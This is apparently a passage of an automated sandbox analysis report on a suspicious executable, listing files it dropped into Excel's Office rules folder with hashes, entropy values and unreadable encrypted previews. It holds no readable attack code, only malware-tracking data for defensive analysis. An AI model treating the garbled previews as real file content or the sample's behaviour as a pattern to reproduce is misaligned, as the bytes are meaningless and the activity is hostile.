Preview:	<?xml...P..).DN]i..XE...3../a...e3.8.......Ph.H..H1..5...j.d3...V<....$.C6'>...H.&.....w.a.F......za#Y.W8...].........q......R....)....=..H..(..\|L..>n.....I.h.\.1......zF.n> .<GX...3.[kA...\...X\9..A@..f.&......m..x....u.-......Pp..e.%.....U....x.!.a.U:.j.Qr...lwK.B.y.........yys_.!...q........jz?(..W..7.cZ.V..&b....VJy....^>0.,..3..1...m]......W0...&..N.].....4;Y.t>+..../..... LA.=..h.u}.8....ny.Up/@...!...&.F..V...g.@...3'K....d....\.2.z!...t3{.S..U~.tl.'.e.{..{#4..\|:.&....{..Z.j...S..'.R..(........7.^0f6."...Y.`..XQ..On\|g.s..[..E/....2.....S....{_......8.<".W( `.D....O..$;.@../.;3uV..}58..6l.gz.(W!.j...].....$.!.}2.&.....@...b.\|.(..........J.....H!.eC..t......kI..a.GZ..U..)....@...S.Y....rg...ytr..}...H%.b...........(4`..2.{...\|z$P.M..7......\...I..+...vi.tk_...`W.ass...w...?H~&.......!.w.....4_....HaM..G....2.MO}....N..".z..@.v.&.W^{....Y.?..n"j}.\$.Z.f+:.u].^..........`.32......D.AA.5.x../(.sf.....\Y..g,...0.$..`......&..rd...5..>.y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.842368997118798
Encrypted:	false
SSDEEP:	24:8+ux98UFFyqi18P6qHNXK2WlFPAJSgwLTAzbD:pQH7khqHBK2EFPAJunkD
MD5:	74FB5912B27A24BE0F1830A4475CDDEF
SHA1:	A2126B044B32F9CC42C2983D2ECD3BB91A57695F
SHA-256:	75DEBEF8EC08CDD9686D1F9007540E209531FCB82156CE047E7544AFF4F59DD8
SHA-512:	FE3B53AD2E6FA621A49D19E9C84840D851D8A301EC0414D9DAD49B2414CC2A6F93D987D614304A4CE23AD3CF870B4E6F61A1234D913537FE80426FA052B829AB
Malicious:	false
Preview:	<?xml.`_..MW.M.......wh\|.._.ib..i...4\|..:....@}a..M.gsl.....B:Mg).:bd..[....Y....$~....a.}.h0.....l.F=G..Q..~.._.j...,.d.U&_d.7.b.l.B.v#..s}...!.2p.o..PT.S...:..=.P...o......W.(ATC.L.....c..4...%..vJ....9........A..J.Y.....F....S...B..)..o.......m`HC.......Ka.1..L.#H^D.k.U...8...g.3..m...s..1..I.U..px.2...f.l...<........m......k.:...~..~....i.o.@...J...Dt.%..RLO............D.?.6..~U..\|,. ]a..Q..&-.o...R.f..H...3x.{.3o5Ei"....QF.&.21q5y..?...E....G....k.pv.M3G..<.B.}..x..q.V.i..y.tz.}..c..w.=q......R..........)..9PF..h?^)hZ..U...p..r.p7.\|....zI.5.Wq....^.c.......\|...)....%.;....r.@.......A....../C.\.W(..."..@.....j.........c......,...Gb..o.f.@...k.6....q."L(@..d.m3....[y...<.Pb><.D.x.]..26../.;..,.....,<.l+Z.....j.z.37..mu...y...aJ.[e{...lS..y..A..+2.O......se..a z..z...x...I..[.et...!E..3XC,(.).YC..V.\.f-./...rU...W*T......c\U......&.\Gf"...).FE.sC.4..GY.....o...EUE....t..['.P.Z.jn).x.y.4...?.Y....&2<2......vb..5S..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.789483020128812
Encrypted:	false
SSDEEP:	24:epRaNmTzawv0z6V+o0kBEm3wiGIMeO+HkvbD:bNS0zK96Yl9rO+H4D
MD5:	49275D3C64F53C0F5BFE8FFEF7EFE7D2
SHA1:	1ED2FFCCAA31BB838AC5A6F3A383DBAF35834F65
SHA-256:	CE8B31629E5D50A81CF68A1039B6AE5C2A69F6E2D7903F4BB89AC7CF9A224ADB
SHA-512:	BBF66A021CB79D36C4D93833C4DC68C36265173E6D53AFC328A309A7BA08A2EDEB88F08407C7A6BF3EFFD3D1C384703B3EB10EDB8C8E66F396A8C24E49619C92
Malicious:	false
Preview:	<?xml...f.....q.P.H.b.`....H.."o..u$...6o....H1B.......X.5...f.A..B..J.. LyR6._5..=B...].`...@...L....A...Z'.l.......2...v1\.....[.Z..vMw....v....<o.%f...6.@.......?\....k..6..+&~.k1..F.....@f.......'.B.p....R..(.3Y..;.(.C.S.......DS.^..d..[&.m\|.hm.7..sm....n.tp..B.0.............1..0._..s/...}.@.u[....]....D.&'..E..f..2..o..'!.W....2f`..u..2....X.Z#...8T.E....I.`.H.l......Z....)x..G2K1.l.G.e.c.........Z....m.R.r#...s.+n\.....%p..\|.g..l.C.t.1.n..</91V.(...-....\..t;kT..+..g\H.........%....\.j...7rx. .......x....`v.6...4...).~..g.H.,>..y.%nDf ..;....c.a.a6.R........?.../......!..[.0..cC.....+..u...;.H.)=...QS.x..3.cc[..WL....k..A.B.....M..z..h...@......7../. .J.'.xg..:2*-#.6KiQn).....l....9(..I...._.......ij...../.\.Z.f..R..7w....94..=QU..RsF.IS.......'.....C.)f.....n.Lj...a.EZ.m...x...+Q.Z.'..FJ.`...P..Wc'o...aU%F....e~..'.\..v.....U.Q..x.JN...@4.F.N(~..j6/.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.807556512258777
Encrypted:	false
SSDEEP:	24:+jrkp43d8gPNBvkPvnxO/pJmKcGi2mYPsB5Tu1yqybggubD:xS8gP3+vcgKBiyPCuUb0bD
MD5:	2EC91A0202BD5D2A3C57C0761C76FCE0
SHA1:	D2F02EC4CDF9841BDF16A96BEB687F1D7EEDB357
SHA-256:	F763A0DD2FA0B6404050935D6BD128A8AB3D8C1E6B3DD3E99B2F1575801CBBC2
SHA-512:	BFB2F4D8CF5A25BDC7C1CEDE1D232D3B7B4ED8BC2154949822193DDF110F635D5F9C60BC077220444B822D3C49EE775C3596C7DEA5ABA2945C7643C33810488E
Malicious:	false
Preview:	<?xml...qi...5{{G.v.jI.5.j/.M..{..N..F..h..uA5....Q..(.z..Mq...mh.R.......iFJ.....5...y..,.Eg.....W.\|b.?.W..p.0.N;\|..^.rI.(...L....c..-K........{....k...?!.@........q`?......Y..\..o,......E^.Q.6.N.W...a..z...3...........lz..5...XB..]..).D..H..n_..P g.q{...2z.e...NR......3..]... >.2.....^.ZH{y..O..a=,a..2.....y..^B..$\|z/.#8l.H...]....$..s..g.FY...a..$B.a.....~?...._...\|....4b..2..........R.....\..k...I....a..L,..s.i.6...339..........2.....I.WdE....5.R+.......W..U.K...........57.9...(../....qX.'...F>...s..1.....r.@..(....\~..]Q....H._`..!K...a..)....i..w..Y.......{...Z<....._.Dc.T9....-d.&N....l4.<.4.ek.[.2...E..wx...zX$!....]3....%<...Aj.ym.-.rlCn.......$d...&..<...t......Z.RR...t.LGh.8S....y...95.+.x.#...e...N_/..C/.Cx.>...]M.#.(. d.....#....$..c....w.P./.wbt...r..5...a.wG.q....n@.....N&4..x.......)...AI?.?.w..A.<T....../..9@<.<..)_..fY......c.B..%.R.X !6.&..K[.65......*+;@............[S.(.(.....=;T..1.>9..M.^..8.[`.2......N.n.!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.844314407391648
Encrypted:	false
SSDEEP:	24:XtNALeiO9O2YwOF/XR5mvmNwun8Qpnh7dJkEVInpQA0bD:Xbae79OV//T4mmVgh7dJkEVsuAeD
MD5:	8E6CD456864EE02931F49C5962FEB4B7
SHA1:	D1F989E533E082F850D39A5185ABD210D2C40682
SHA-256:	A18A42A227EAF44D3C34186916B77C3724B1E68CCD5F041863C788300A8973FE
SHA-512:	3FD0C02DA7CAA926FCEA224456174FA692908D2E36BC9C74B9312722CA1A5247A749B1A75EE1758C0E78BDD9684D4E91C7C7C864163E216E380F4F6F294FC508
Malicious:	false
Preview:	<?xml..cmw.. .)...YnY....8.0.....[....E.. ..ithB..JMg..4.d..t...g....&.aEmva....M..2O.H?.q]A.._...IHI.a.F..\|d..b%...]..U....O?...;.V\|8e..C.Q.3.../..=....'..&na....R_.r%z,<.n[dma.f$...6..i....3.1.R.P.qO\.9.SK...buH:b=.T.....=..]~)l............n.....+N.2.pQ.t..6./ ..E....T....E..jcw!..<....1..........3.......W..\|..].L..".5hU.d.}.B...............tu.F.45q....L.G..:...8....YQ.`.(..5.@9x.2..q.J....4'=.....(.M......W..1@1...Jb.wPK..$.f.T..$...T.@.B._.K....4.G.n7.+..z.d>...^.......NZ...?t......8h.~)...Te.\..?..1...o+.8L.J;.0.{..^.x\,........2.`Z.....nR..,.$o., ...w&/}...\.B.SJ.....G.{..9n4!.......lf........4z.5E;Z(. K. ..P...h}V..8..s.x..,Yy.V.....-4...&...k....R.4.}....}.#O...2@>.I4.A......O..O........z.Acv...g.l...+c..S.^...'.O.\|....p...b.L...x..{....R...r.c....8........U./=o.mQ...).j..IlW0..G. .2.....T{@.0....}]aR....b..$..c.Q...3K.\l.,.!.j7..e.W\|.%....l..2:b.v.,w..A.........}..H.p.........".Iz:.X.Ld.^.#........).?>..k....`.).3..q\...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.879467989810378
Encrypted:	false
SSDEEP:	48:5ZaMxW5dC6uJtqq1z+fAp7RmmGFE100UoD:5BxQCrrqqFuAnmmGW007
MD5:	64CDBC2262C3D66BCB0B89B38D33545C
SHA1:	B22E38DB31E59B679DF0066E78594344E36F09A9
SHA-256:	80C0F56F20A03182E1940847B2B3AF363CFD874FCE96CBCB314102B1E532D5B7
SHA-512:	12B5A594F704F98F9D40D8373AE8D66424D6009B8C3E66FF076DF4FB889C828CA58E27C8893302224250CEBEA23D6AF87319CCAF88C407E03C27F30CE8C442A0
Malicious:	false
Preview:	<?xml...t.XP.ZP...{..a..Q...'.....6+...&.'l......g.C.sy.......g.9..J/?=..Cu5c..,...Y.G^\|W..C.8.e...^G..(4T..i.i.m..d.d/\|..L.k...`..;[.v.\...Y...$L.R....'.g.x}..F.....2n..3._......]n..4){..6.T.v.~KF...)S[....}^.{...@:..n\A.`.....Q..h.c.5.R+g...............~.........D..\|..b.78.i~.f.e...%.Q..H.....QY.x_..c....h.uVhv..L4.=8q.....c.. ..@.,T(M..W..\.Z....QH..o...#L..F..H..N.....eu..t.{...2J h..d.A.M......V.8.11l..4..+.....j...n.m...+...\|.....#d..`z.........w..1.9..;$.{....g..!l.U..\..wO<.v.@5.\.<x.....f..J;[.,.6...NWA..Yd..SrZ !^_.M2X....vf.......3.x..U...._...;.....Q'.VQ.p....c....:..$bL...;.mP.[c .$..n@......d...n.l..m.A....T..^!..(Ho.R........z.L...-?i.mFJ<O7w.^o.......VB....B......m....6.1.9...<...nM.9E.Hl..N.#...U=4,.(...[7..>.%-.3.....p.%n.6c.5....c.h. ...D).......d.U......k.7.....U.xh2G.....m8.\|[n.Unq.....0u..s..fe...c...61.L(...O.Z....Y0,....o. ..c......G}c.......fN......kF...e.t..=&...M..z...9P.Rx.b+.#..DZ.....3.=.WQ....6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.852063657234702
Encrypted:	false
SSDEEP:	24:hbktlcMYDhO7yqnnicZg45LnLkPyUFffptlDsG5MuF1t2JumwcAhuuHMxc4bD:hbkfcpdGnpnyFJtVMu7Gum/A45xciD
MD5:	F5FA7E1CDC7D2D672A36E2397B05C5C4
SHA1:	9A2EDE8201C105FE81AC1647269F894E9EBBC5FA
SHA-256:	9592E41D6210035EBD73EF4450C19987900F7F1531F1E935046EF246101A13B6
SHA-512:	357DC3330E4E67E7FBED4DDE3BD6B795ECA12B148A57755944DDD6AED0F0144E0C4141300E42731F2B122B2B7F7657D66628D92CA98873C443C279FE500EE2FE
Malicious:	false
Preview:	<?xml......IT....f9 =.5.,..j...y.g`....4.. ..z...N.!..7i....&.\0.m.P.._x1......'.]..........{w..4He.e....7..n...{'-..R^.S....<m(9.....k....g..k.p3........Hn.o..`..m\|e+sO=.8.....T..+E..P.3.xE.....!V.>.Q[mO....M./..[.....l..s...iuW..9....+.~.R.,.h!UN.......hJ......YHn.......<..........o.....YCU.n..j.U.....~.'....D7.......?.t..%.. .b..1.#Fr....yCbB.\.....#..R.0...j....+z&.F..."...\|..{W.I........s.V=94x.%."Oh.....{=}..h..r@:.lRYg.V....0..6.v....]...oo..>W.....%....P......... ....3... /g.........o.....T0..C.M...]..r_@Z.\|^.f...))`f...a.o.#..B...S&%.nb...f.....Z.V...y....T........x!...ejt..r..0 ..!".l;.Ac/.A.u....s...S.D...y^.....b....K9...B...$..~M....m.;.A.M@........F.K..l.!.....(.S.r=....=X.xT.Q....Z..9."F.../..<.6?..V...f.....9B.M-...i.'%.)G......e..B#l'~.^l.a....*...ne.Y.9d...C.N.W}...\...P..5a..W...`..;..Y.b..,`.G2b.\|......O......"...z....k7..t..>..lK..\|...W.....E.\K......J..4..GX.3..S..'D....@.+.c..n4...V{:.D...i\|....?>./.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.896735411321825
Encrypted:	false
SSDEEP:	24:Fnfp0sIAjxj3DfVuUqvRFKUqP0GBYCSUslAQsjcM109ZHS9V5UNZc18F3Dijce5l:Fh09Aj1TfIDacMQy9sCU3ujcYcM/TkoD
MD5:	BBC7B68A18469BD566257EBCA42DEF60
SHA1:	36953C12F09E308701559E7910E41A5719DAA01B
SHA-256:	591B9F1D4BE600B4559261C92679164EC7FDCAAF291412B85DBB5211A0469F92
SHA-512:	BA77117E1797390F2FEB50E285FDC7803D9615CC83F3D7EC0ED556C0449505E4D3F84814E5DCE4DA8A35A828B21DC9300D351E2B680D74F4A02712AAB633F9C2
Malicious:	false
Preview:	<?xml...A.=.2..OT..Q.}.....4d...">^....g..d.b..5..}.......7<.....y.R.M...q`R..........8..."Z.CL{@......@^.;..O..L.Z..6.a.j...!x.6x.._...../..,\...6l.:s..X./-.......`...s&.;.._#4..^..p!.2...}`..D...&5......:.2..v.. F:.w<..@.}D.9.ppb.nT.B......M.%;B...R..6.T&......+..n...J......Bn..0....=._.....y.......NT.y%..P8.6.U.B.....<qAZ^.^.....*.=BH...........Yo-_Z..2.l.Y......n.8.`G.!#,......gV.5.{4..:.NQY}QO..RG..Bz..a..$j......`.?\r...Q.P...V....._...<..S.~......8..g........m...D._.g..........;.......YP.r...!C.p..<.y......&['....9HJ....+4.....#U.^...(6...F.m.Y...16.u.;G0]....L...6..%..K..k........LU.[Hy.Eo.H.1......\|)..7..H.....}.......'...\|.e...[......F..d. R.3I.K...6k...c.g..t.f@].X.<.V.".,GjLlMM....B.?.q..`....L$...t.&.ci5.U\|....;n\l....Ng....F..y......E..o......x..NZ.z.{...-.1+...)..b.f.........n.6.l#......{.Q."9..U.1.PjO.._&.q...S.($.".>.....b.\|.z.k.%..D..(e....{...F..c..S...~vI..yV..z8...f>..".x...........xa.Y.q:Sq....Z.N.s....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.848662366384521
Encrypted:	false
SSDEEP:	24:WllzYLahTm6eKrWZbF3zzQnARHAUsQhofYKt36rSuM+TUamhoS8XC8reUaud+1CW:WLh5q9JzcARHRsQIY2uMzamWSq5e9uU3
MD5:	A19DEA6134B92D1100590E4A52CB6703
SHA1:	33F088C3688969A839363CECCE391B2A5C0E17B5
SHA-256:	5E73DB29DBCD649765795B0FBEBDBA0669DFBD4BCE6185D0FAF5D62229530338
SHA-512:	37B402E730E9AB36CAA0D7F8901B09CDEF7EB1C6B0C386D2C138DA028DEBBF74207759BE03FACC1E277AC4338EE23E49ECFB9AAE83D169F136FC221743DDB8C9
Malicious:	false
Preview:	<?xml..=...y.+.w..a...KI.R..}.'.gW..g=..KS.W.c.a.9..>........#e....I[dB...6..._..B..w.67.H.....=....bfAl..0,...k..8M7..q%e.U.."PQ....?z.9:.....p...........g?>...w\|.p.W.o~.D\..Yf!-.. .U.....Gd.N..TJavId....?.?....A,.c..?...?./..v}q_..KU$5...[g.p.N..3..S..o.d..fy.k .~^....'.ji.r.4l..m......}....A..4.D,.U... 8....k......j...3.f.%.....#..F0.rin9..`..p..V.W\....&.p>d,..1........3.W.h...6...#.-+.....P.9N........^...b.HQ..8.....)....7.M......WND^_.;/..Y....)PB.e(S.-.;ozn..`...i(J....0....$mVCq.F.C;.8.Mv..{._....V.=....{...u?.Y...G..9 ...K....8.S.@\..c q48.9:.%.+O.........;.@e....I...4.Q4.q.\...WO.?...C.j.{....f.....~.[.P.T...Yfm..!.S=...e...Vn...m..H..U.7._Kma(a....>M'...........A....E%.@......wy@.(.%e.I.m..MY.........8.<.v.8......>...(.....>..c......I_.U0.^....:#..0......,..~t\|x.pJ..y.3......Z..~..r.V.N5...i......r...V....5X.M).aa.D...Va..l.0.@. ..<g....8..l.vu.(}..h.........c..r`-1v.$rH..v...]N...0.s>...f.B......D.r)bY.P.WB.2(f...0...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.906553766791866
Encrypted:	false
SSDEEP:	24:J+wzKECEcnEX88nJEKOMjvrgmDXlP5mQc9nx7MYRMmkrSx4QdM3JnT/rRnecsXW6:JfxCOXizadXlP4rmrSx0tMzWmAiVNtpD
MD5:	FA1F66C78BF1A39FA803DCA0B775424A
SHA1:	940BC93DC3BC320275A433AB795B08EE8233D795
SHA-256:	112A262DD187D7DC63913B9D551364C9A64F94AE857EB27B9DB7C1E2363C7BF3
SHA-512:	E1883CCC73962D7F977A50C90B76ABB79F45785AF02E9D8D586D683DDF354DF76A91AD3C49F32F2CE139B4A894FF1316937A819CDA4204503D303993DEA1AA3B
Malicious:	false
Preview:	<?xml.FN...=0.X..Y...[...+....+..>l0/.Fa..s...d.....Rl\|..)S7.R.<.._..7...$.2.;...k...........#!=.{.......a...`.<....D.=%'...._.a.._....V...G.t...t.........w.#...`.....#....t..H...Z^gM.b....#.R.A...'[..s`i...G...f..-..M.xG..Z...a....1....h\|.s.......3....#6K\;..yy$.2.....5..H.x...f..6S....\.m.........D<.....h....M..3...M...am....e;a[..%...S5\|..xE.T$AE....%7.g..~..\|..x.zN_.oH.5.`.uvY.D#....z.8.s...^7+.......<4.X.%P....INr...k&j3.%x.`L....>~t..2j9..z.Um.O..<.=.....n.....g.....rL.X=.5@.c...(m.mu.O/Uyv.)Z1.h.z.3+....1:..1.k,.......J.1..L..Vc..P.1.SbAZ..2,A....i..[..d...z......4!C....}}....>.c..5....5.{.}R.Q......2.+qjn`Y3.......3W.x.K....^....G....^...8.......O.Z..7{.0..9..7?"............`2 ..EP..4.O...P.d.....kV .7.+...i.R....a.w..+......R3.NP,.x.U3Q)}.......mf.Y.S).tQZ..c.j....\|.B...4..q..p.8F..U..k.};+D.Z.mK..;..1].Vj.h...3R...T.m.".D2...+....]...S.>.%Xn.b..R.{.c...R9!<....+...T`2..2.... ..W..$7....%.?l):..T..zaa...z..)-GL.....!.g.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.812568039509118
Encrypted:	false
SSDEEP:	24:82qfl9Q9yBGY9xlJH3wNt0WNlaZrM7nzaVi199fUvT6o6ZbD:82I9Q4jl8nNlaViVfUrWZD
MD5:	B0D68254006E1CEBBA174D9C0D24087D
SHA1:	EF1B6ACC668E7A232FD009FC5D66CBF3492C525F
SHA-256:	73D04CE2FFCDFF5F6A227F8C02C1553D6C6E30BA54DD6AAC61BC066E316334FA
SHA-512:	9ACAC8F7E67BF89506332A99EE98D462518F45FE57F03002F0D42336C1A6DF8B7A21C9B551C33856D63073F28C94AE5E4B3ED035EF8CA0E465A4A40149436EF9
Malicious:	false
Preview:	<?xml.. x...HK.\...1.'..7....P8...V{.u..~.ud..amX..g.....e.Y...K_..B+Z...o'..%..........#..U.........L.qJH....eW...L......sM...l9T.ga...sr..K.....#.....\Rjt....Y[...m\.7.T..#.9.s..8Id..06g...N1.}.$....9o.P.A....;Y.n^.:k1....m.e.........h.9.@..s:"....G-.cf..Q8..3;....Y.A4.Z....<.......xRD......r.6O...."L...t0...0.K.^....a..v..r...)c..Z.C..(Qt.....O.:Z.C_N~....J.lX....4.9..M.....R..u.`<..f0...!....o.k...;.......6....l+..h.'~..dt......j.Wx.B3..M%?Y....E. .g.GH......y.=.c.{.J..JzY.........'.O+.?.@.p..WaV.O.$u.nL..\|.5.M.~....w`g....9R...h..A...]....@..t..A..v..U.A>..B^?jI.:v...1m.^..)k..j.....6..(7AY.,j.l..)"l..xZ.a....r...o.S.+7..N...P....G....Y~>S.....@.{sB.k.>.^.......\|6.+........'.2...l.9.Z.@?......IN..1^..j..d.B......05J^.M....;Hf..5y..U.A.O:.C.Zv.....\....s......C^..[x]Q....^."..] ...m..<.G>.D...!...4cGl..\|...Q.A=W>.^...ePP\|;.......(S.M.B&..D.....E...7.h]R....R7\.ww.j.;.C.blJ.].{.J(.5c;?.18...s.].<....4.....!..i4(.L~......c..'s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.886584665946395
Encrypted:	false
SSDEEP:	48:iUcZjPZVg4FQDJYw9PjgPNWQE+MCkVq3k4mD:izxhVRQDJJ98PNWQE+MCkV6k4+
MD5:	19BA8C7A131E52B2EA33DC79BF7E9360
SHA1:	7BA95C5A9C3EB17FD742C66950D794EF24133BD1
SHA-256:	2FB7C8A827F753B29EFFA15C3C08062553B0E2040087B7B5F63D29EA66891F3B
SHA-512:	C0B26AB1AAF4C0ED7F9F7485599F121F7AB524664ED2609B2096FC073F25E2166079D8903B7DE5D16D57ACE67FD49653C4556F6D1E62F39FCB3F78A726102097
Malicious:	false
Preview:	<?xml\|.H.M..&.,~,....Z..6...'t..x...:....il.8t.K...3.r......j...=3.w\...V4#..l.X`.3.....f...J.%....K.%.......#11K.....{.Ir..lc..x.\RxQ.dEc. ...Ko..&^d........a...k..!.=.)T.....n......._.p!.SO..{S@AT.`.y.`...4ED..#SO...N......$a..5.Q..OS+V..7...R...l.E......7.....f.{.\|.]..y7N=0.v.wC.@..!...W..V.....<.q..........U..M{^...3^z._)[..lXl..[.4@n.....BV3.l.].a...X......J%...]...u..7..1....F...\6).p..0......R..#...\|.<V.A...P..lH....n6)mwdA.....!..!,.o..w..a...$..K..Z......L.....C%..\|=.-..J..&j.n.Y.1..U,.8.. ..Qr".J...\|:.<.1...}U..m..2.U........yR<G..p\...Z.nks(..Y......NM.P....=..k...^..EB.'M.... )..S...4.D.g..q....^p.9?~...".....Ts}.}...d.... ..a.,K.zC..w.3...e.@4..pD....@.=S.....6.._.......k...w@h....4k..J.Z".Rv.kNDN..A..A..Gad...!...K@.. .z....E...F..a....#{~..2U..+v.u..<v...<..I.....~/....h...M..x..R.....s\|q..DJ..8(d..4A.d.2."..`.....*..R_.G....<.%.../QF\...s2@0..e..^...y.6...O.fF....n.&...5 ].Nq@...b..}.{...a..U>m .5...~5^.9.5...{2 W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.812876740503885
Encrypted:	false
SSDEEP:	24:A5OeWSegQdhoAUfrQcIxlBUSud1yJ26Ih4XQHZLjbD:As/fUTlIxlREjD
MD5:	5754F48EA0721A794FE8691990D73ED5
SHA1:	62BAF023D4F1529B7C0AD1986E2D8E7E2C6B3AFA
SHA-256:	8AFC0678289DC0B5BB18763366BF4D353509BF3CE1073BE8A27E3650446025B1
SHA-512:	130A3B940AD3B6029BF00121C3494F67D9572046706C2EC126097F0F644A9E60F108F05FBD9CA2832545618E29616325E8435B97CB258CCCD29D0D9BD3391D0E
Malicious:	false
Preview:	<?xml.:Dg...]}..Q..hm5.R]..g.5P.P...[...4F........Z3..^..1:....k!?....o/4.-:...,8..~...".0...0.c.......Mt.../..j3-eX.`..2.Mq.1...B..P".....Okb. .vh...d.Sb.....`.B2Ud...4...M._.n._..e.@l/.2#}..u%;....Bm....".....Ux..0.K.j .bR..Fj...UH.t.5}.Lz....".......\...G......R..@s1]z..qB.N.<.f..P..R~...Gn...#....f....Ye.#......V...'ZL....D.lc..z..'T.U..3X....B..}.J.....Kp../9..T..L.k.2X.o.....H;'/Da....... <...f..../...5.v..I[N:....e..IQ........(.%A5..A.............s(V7$.t\.g.F....q..]z..]h..wb:.V.0.\>....B....J..A.fY:.X...o.....r.0cD..z......6....?7..N}.60k`.+..>.....do.S. .....-.a..L.8.@..:U.7t...2M..'.-......9.....D.A....B..{$...$&m.^..-X .....#..s67...vX...S.5..Th...).s;B.tT..=....i9..\.`,j...E.......A.U..g...?....N.?.......cP.^.>..<l......4....6 ..Z......Hb ../w^...D.@...V.'..{I.*.%\.]./...Dk....".VX{.]...37.G.W..Js.r~kxX.....$..].U...B.8t.s..Ud3.....Ru.pO... -z...j./..4-....J..k._n.m..!._....c."..J..4bJa...#_.p......B......$j.^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.739969380796697
Encrypted:	false
SSDEEP:	24:H0yschNodGZE+5aB8lnkXHjWuFUHhKAwNsbD:U90ZsBFRED
MD5:	0B4353491E3DD956DD0F25F6F8E46B0D
SHA1:	58457ABBCB1BAF1F04889A1D3369DFD8EEC0F64F
SHA-256:	D0C7F9738F130D7199CA722191E0F5F2CA7BF779091CA1889EC51AEA7BD44AA7
SHA-512:	748A3F341A54A3AB1E7965171C65D63A49A61116CE98F003E2A3519DF403642374AD3DEE65B71F92F3617877712EBD41FB8C310F08042154D8833A204E20AA7A
Malicious:	false
Preview:	<?xml..w....@.f..9.e.c..Z....I....$,.d37...[3.8.N.o...N.W....&W.E.@.z...5......UEC8.!.>+.(.}.R..(....e.@.I....r.w....f. 67T....t+..z......6.K.. ..G...2.i.O.......O$.....;....QF....C......2.o'...?kX.$..S.........R!8VC..q.R.U.v.(w...d..$.B...C_.......S.....f..$..c..........Q.q...\..~s..5.6...X.d.d]..e...2#!....Bf.1u.s\5E...!YC..f.-....Y....%..>0...Ey"$...Rd.V.......n.....RZf.....4...!+......Uu..!...@.*.....O.J...........JX.9f.+3.L.)}...\|...........8.y..a...].L....tx.+.ys....-.c{E.......u.K...0....C.;.d..Yu_=.!U.'6..;AV..AmD..0....&m~..b...5p.1..x\|.M..2o$.}}..Z....P.v...\|..Dbl.p.\|.[uvQs........'...w.....%......G+..S....%1..k...N..&\....5:....N.O3kmJbc.. .DAS?%.O.yo8.nA...Xx.B.<..{...1...,....+.6.{2..u.y.Xf#b...R6.#h.l..#.....b.2..[.9r<$..>fIT..?..W..b....m.Rk..@..n.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.894199711059774
Encrypted:	false
SSDEEP:	48:NO05R9ApSAb7MyU7LwCU9SipXw44nAb2Iy7uxN1pD:AoRipvM77L3WSipXlkAb9y7uH1B
MD5:	94F3216B4D701F387818AC99A6F3146A
SHA1:	FB648E637E28591B97C35A1D53C595C08C32BED9
SHA-256:	CB0C3E9008829A22350FC95E0489CAEEBDF54CA7EF232F5C6D5E5E4A9F03D218
SHA-512:	2D789BCD171AAEB12B35C90E58C44099060EB5096030626A80FC9B9E5D171085406DA8BF91DC578E9A7172390C90648A1D4500062871D2F26C7939900452F447
Malicious:	false
